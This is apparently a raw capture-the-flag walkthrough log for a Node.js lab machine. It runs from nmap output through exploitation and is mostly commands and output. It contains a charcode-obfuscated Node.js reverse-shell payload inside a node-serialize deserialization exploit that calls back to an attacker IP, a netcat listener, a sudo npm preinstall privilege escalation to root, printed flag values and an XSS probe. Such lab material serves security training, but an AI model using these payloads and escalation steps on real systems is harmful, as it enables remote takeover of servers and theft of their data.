AAAAB3NzaC1yc2EAAAADAQABAAABgQDEav+HAGw7xuVSR7QKeKvPc2ZpLfgIJ2azj8wt8S3VdC0yPI5cgFTwrdyZ/b9nHwZb2ibA2Ld12zn4zObnoRLU05emZ0qSpyssEN6+xF2E9SSbe9o79UuJX7KoCAc4oKHdL6vme9Gt1NpmL7UVXaK8LG0wMJ0PAi90NPSp6yCqX+Zh3ox5/ozOw6J0fVWJhq+OpMq3uRdh4C4XQF5ZAN+Yf9uGy5er+VOCOt2Gio2Y+4O2VmQa+d16qJXziOV3tCwronfd8C2FXvbGWNjKnEpn7qmf5TFW7DmOs6lbvhNSqNImKHYPKeMJHDj/0MyjXMHrmYSMvQ/jHsdi1e8wUz4tIOkjrVkEy1BF6rJ20e0mdsJOnk4CrGqbNCvPoCCV0Sn4+IeOsDTqmXjzI6oVZZ/mEJM0p+AxC+a8NUU7IRtDOXQH9bl2/g5N0n3UfpGjz+gmQxQMhcziZobRVUY8b+6TneDi4WLD889XWh0kemP8srXb/BR/DUsCvXJvAZ1gDbU= | 256 bf32780183af785ee7fe9c834a7daa6b (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKWImj6zzJJnO+2iTNXciJVkpCVcDC82aeGnvA3GVC4G1J7mwk1TYrRemrCBlwhm+BUzvs0q2qKk/9VCh1+kKlA= | 256 12ab1380e5ad7307c848d5ca7c7de0af (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINEIOgTDXXq96o6fNCrn3mQ8JpGFHhx6AtZGEOG4Z+oF 80/tcp open http syn-ack |_http-title: Horror LLC | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | Content-Type: text/html | Date: Sat, 31 Dec 2022 00:35:11 GMT | Connection: close | <html><head> | <title>Horror LLC</title> | <style> | body { | background: linear-gradient(253deg, #4a040d, #3b0b54, #3a343b); | background-size: 300% 300%; | -webkit-animation: Background 10s ease infinite; | -moz-animation: Background 10s ease infinite; | animation: Background 10s ease infinite; | @-webkit-keyframes Background { | background-position: 0% 50% | background-position: 100% 50% | 100% { | background-position: 0% 50% | @-moz-keyframes Background { | background-position: 0% 50% | background-position: 100% 50% | 100% { | background-position: 0% 50% | @keyframes Background { | background-position: 0% 50% | background-posi | HTTPOptions: | HTTP/1.1 200 OK | Content-Type: text/html | Date: Sat, 31 Dec 2022 00:35:12 GMT | Connection: close | <html><head> | <title>Horror LLC</title> | <style> | body { | background: linear-gradient(253deg, #4a040d, #3b0b54, #3a343b); | background-size: 300% 300%; | -webkit-animation: Background 10s ease infinite; | -moz-animation: Background 10s ease infinite; | animation: Background 10s ease infinite; | @-webkit-keyframes Background { | background-position: 0% 50% | background-position: 100% 50% | 100% { | background-position: 0% 50% | @-moz-keyframes Background { | background-position: 0% 50% | background-position: 100% 50% | 100% { | background-position: 0% 50% | @keyframes Background { | background-position: 0% 50% |_ background-posi |_http-favicon: Unknown favicon MD5: 8FCEA7DE73B9ED47DE799DB3AE6363A8 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port80-TCP:V=7.93%I=7%D=12/30%Time=63AF83BF%P=x86_64-pc-linux-gnu%r(Get SF:Request,E4B,"HTTP/1\.1\x20200\x20OK\r\nContent-Type:\x20text/html\r\nDa SF:te:\x20Sat,\x2031\x20Dec\x202022\x2000:35:11\x20GMT\r\nConnection:\x20c SF:lose\r\n\r\n<html><head>\n<title>Horror\x20LLC</title>\n<style>\n\x20\x SF:20body\x20{\n\x20\x20\x20\x20background:\x20linear-gradient$253deg,\x2 SF:0#4a040d,\x20#3b0b54,\x20#3a343b$;\n\x20\x20\x20\x20background-size:\x SF:20300%\x20300%;\n\x20\x20\x20\x20-webkit-animation:\x20Background\x2010 SF:s\x20ease\x20infinite;\n\x20\x20\x20\x20-moz-animation:\x20Background\x SF:2010s\x20ease\x20infinite;\n\x20\x20\x20\x20animation:\x20Background\x2 SF:010s\x20ease\x20infinite;\n\x20\x20}\n\x20\x20\n\x20\x20@-webkit-keyfra SF:mes\x20Background\x20{\n\x20\x20\x20\x200%\x20{\n\x20\x20\x20\x20\x20\x SF:20background-position:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x2 SF:050%\x20{\n\x20\x20\x20\x20\x20\x20background-position:\x20100%\x2050%\ SF:n\x20\x20\x20\x20}\n\x20\x20\x20\x20100%\x20{\n\x20\x20\x20\x20\x20\x20 SF:background-position:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20}\n\x20\x SF:20\n\x20\x20@-moz-keyframes\x20Background\x20{\n\x20\x20\x20\x200%\x20{ SF:\n\x20\x20\x20\x20\x20\x20background-position:\x200%\x2050%\n\x20\x20\x SF:20\x20}\n\x20\x20\x20\x2050%\x20{\n\x20\x20\x20\x20\x20\x20background-p SF:osition:\x20100%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x20100%\x20{\n SF:\x20\x20\x20\x20\x20\x20background-position:\x200%\x2050%\n\x20\x20\x20 SF:\x20}\n\x20\x20}\n\x20\x20\n\x20\x20@keyframes\x20Background\x20{\n\x20 SF:\x20\x20\x200%\x20{\n\x20\x20\x20\x20\x20\x20background-position:\x200% SF:\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x2050%\x20{\n\x20\x20\x20\x20\ SF:x20\x20background-posi")%r(HTTPOptions,E4B,"HTTP/1\.1\x20200\x20OK\r\nC SF:ontent-Type:\x20text/html\r\nDate:\x20Sat,\x2031\x20Dec\x202022\x2000:3 SF:5:12\x20GMT\r\nConnection:\x20close\r\n\r\n<html><head>\n<title>Horror\ SF:x20LLC</title>\n<style>\n\x20\x20body\x20{\n\x20\x20\x20\x20background: SF:\x20linear-gradient$253deg,\x20#4a040d,\x20#3b0b54,\x20#3a343b$;\n\x2 SF:0\x20\x20\x20background-size:\x20300%\x20300%;\n\x20\x20\x20\x20-webkit SF:-animation:\x20Background\x2010s\x20ease\x20infinite;\n\x20\x20\x20\x20 SF:-moz-animation:\x20Background\x2010s\x20ease\x20infinite;\n\x20\x20\x20 SF:\x20animation:\x20Background\x2010s\x20ease\x20infinite;\n\x20\x20}\n\x SF:20\x20\n\x20\x20@-webkit-keyframes\x20Background\x20{\n\x20\x20\x20\x20 SF:0%\x20{\n\x20\x20\x20\x20\x20\x20background-position:\x200%\x2050%\n\x2 SF:0\x20\x20\x20}\n\x20\x20\x20\x2050%\x20{\n\x20\x20\x20\x20\x20\x20backg SF:round-position:\x20100%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x20100% SF:\x20{\n\x20\x20\x20\x20\x20\x20background-position:\x200%\x2050%\n\x20\ SF:x20\x20\x20}\n\x20\x20}\n\x20\x20\n\x20\x20@-moz-keyframes\x20Backgroun SF:d\x20{\n\x20\x20\x20\x200%\x20{\n\x20\x20\x20\x20\x20\x20background-pos SF:ition:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x2050%\x20{\n\x20\ SF:x20\x20\x20\x20\x20background-position:\x20100%\x2050%\n\x20\x20\x20\x2 SF:0}\n\x20\x20\x20\x20100%\x20{\n\x20\x20\x20\x20\x20\x20background-posit SF:ion:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20}\n\x20\x20\n\x20\x20@key SF:frames\x20Background\x20{\n\x20\x20\x20\x200%\x20{\n\x20\x20\x20\x20\x2 SF:0\x20background-position:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20 SF:\x2050%\x20{\n\x20\x20\x20\x20\x20\x20background-posi"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 19:35 Completed NSE at 19:35, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 19:35 Completed NSE at 19:35, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 19:35 Completed NSE at 19:35, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 35.62 seconds ┌──(kali㉿kali)-[~] └─$ curl -I https://hackerone.com HTTP/2 302 date: Sat, 31 Dec 2022 00:48:10 GMT content-type: text/html; charset=utf-8 location: https://www.hackerone.com/ cache-control: no-store content-disposition: inline; filename="response." ┌──(kali㉿kali)-[~] └─$ curl -X POST 10.10.72.52/?email=witty -I HTTP/1.1 200 OK Set-Cookie: session=eyJlbWFpbCI6IndpdHR5In0=; Max-Age=900000; HttpOnly, Secure Content-Type: text/html Date: Sat, 31 Dec 2022 00:50:35 GMT Connection: keep-alive Transfer-Encoding: chunked ┌──(kali㉿kali)-[~] └─$ echo eyJlbWFpbCI6IndpdHR5In0= | base64 -d {"email":"witty" ┌──(kali㉿kali)-[~] └─$ cd Node.Js-Security-Course ┌──(kali㉿kali)-[~/Node.Js-Security-Course] └─$ ls 'command execution.js' eval.js hpp.js nodejsshell.py redos.js deserialization.js fs.js LICENSE node-mongo.js simple_server.js dir_traversal.js global_scope.js njsscan.sarif README.md ┌──(kali㉿kali)-[~/Node.Js-Security-Course] └─$ python2 nodejsshell.py 10.8.19.103 4444 [+] LHOST = 10.8.19.103 [+] LPORT = 4444 [+] Encoding eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,56,46,49,57,46,49,48,51,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10)) {"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,56,46,49,57,46,49,48,51,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"} and finally will be _$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,56,46,49,57,46,49,48,51,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}() revshell ┌──(kali㉿kali)-[~] └─$ rlwrap nc -lnvp 4444 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.10.72.52. Ncat: Connection from 10.10.72.52:58378. Connected! whoami dylan export TERM=xterm;export SHELL=bash;python3 -c 'import pty;pty.spawn("/bin/bash")' dylan@jason:/opt/webapp$ dylan@jason:~$ cat user.txt cat user.txt 0ba48780dee9f5677a4461f588af217c dylan@jason:~$ sudo -l sudo -l Matching Defaults entries for dylan on jason: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User dylan may run the following commands on jason: (ALL) NOPASSWD: /usr/bin/npm * dylan@jason:~$ TF=$(mktemp -d)TF=$(mktemp -d) TF=$(mktemp -d) dylan@jason:~$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json dylan@jason:~$ chmod 777 $TF chmod 777 $TF dylan@jason:~$ sudo -u root /usr/bin/npm -C $TF --unsafe-perm i sudo -u root /usr/bin/npm -C $TF --unsafe-perm i > @ preinstall /tmp/tmp.8AwKQREFcm > /bin/sh # whoami whoami root # cd /root cd /root # ls ls root.txt # cat root.txt cat root.txt 2cd5a9fd3a0024bfa98d01d69241760e # cd /opt/webapp cd /opt/webapp # ls ls index.html node_modules package.json package-lock.json server.js # cat server.js cat server.js var http = require('http') var fs = require('fs'); var serialize = require('node-serialize'); var url = require('url'); var xssFilters = require('xss-filters'); http.createServer(onRequest).listen(80); console.log('Server has started'); let $ = require('cheerio').load(fs.readFileSync('index.html')); function onRequest(request, response){ if(request.url == "/" && request.method == 'GET'){ if(request.headers.cookie){ var cookie = request.headers.cookie.split('='); if(cookie[0] == "session"){ var str = new Buffer(cookie[1], 'base64').toString(); var obj = {"email": "guest"}; try { obj = serialize.unserialize(str); } catch (exception) { console.log(exception); } var email = xssFilters.inHTMLData(obj.email).substring(0,20); $('h3').replaceWith(`<h3>We'll keep you updated at: ${email}</h3>`); } }else{ $('h3').replaceWith(`<h3>Coming soon! Please sign up to our newsletter to receive updates.</h3>`); } }else if(request.url.includes("?email=") && request.method == 'POST'){ console.log("POSTED email!"); var qryObj = url.parse(request.url,true).query; var email = qryObj.email; var data = `{"email":"${email}"}`; var data64 = new Buffer(data).toString('base64'); response.setHeader('Set-Cookie','session='+data64+'; Max-Age=900000; HttpOnly, Secure'); } response.writeHeader(200, {"Content-Type": "text/html"}); response.write($.html()); response.end(); } var str = new Buffer(cookie[1], 'base64').toString(); var obj = {"email": "guest"}; try { obj = serialize.unserialize(str); } En resumen, este fragmento de código se utiliza para deserializar una cadena de caracteres codificada en Base64 utilizando el módulo "Buffer" y la función "serialize.unserialize". Si la deserialización es exitosa, se asigna el resultado a la variable "obj", de lo contrario se mantiene el valor de "obj" como un objeto literal con la clave "email" y el valor "guest". ┌──(kali㉿kali)-[~/Node.Js-Security-Course] └─$ curl -X POST 10.10.72.52/?email='<script>alert(hi)</script>' -I HTTP/1.1 200 OK Set-Cookie: session=eyJlbWFpbCI6IjxzY3JpcHQ+YWxlcnQoaGkpPC9zY3JpcHQ+In0=; Max-Age=900000; HttpOnly, Secure Content-Type: text/html Date: Sat, 31 Dec 2022 01:18:18 GMT Connection: keep-alive Transfer-Encoding: chunked ┌──(kali㉿kali)-[~/Node.Js-Security-Course] └─$ echo eyJlbWFpbCI6IjxzY3JpcHQ+Y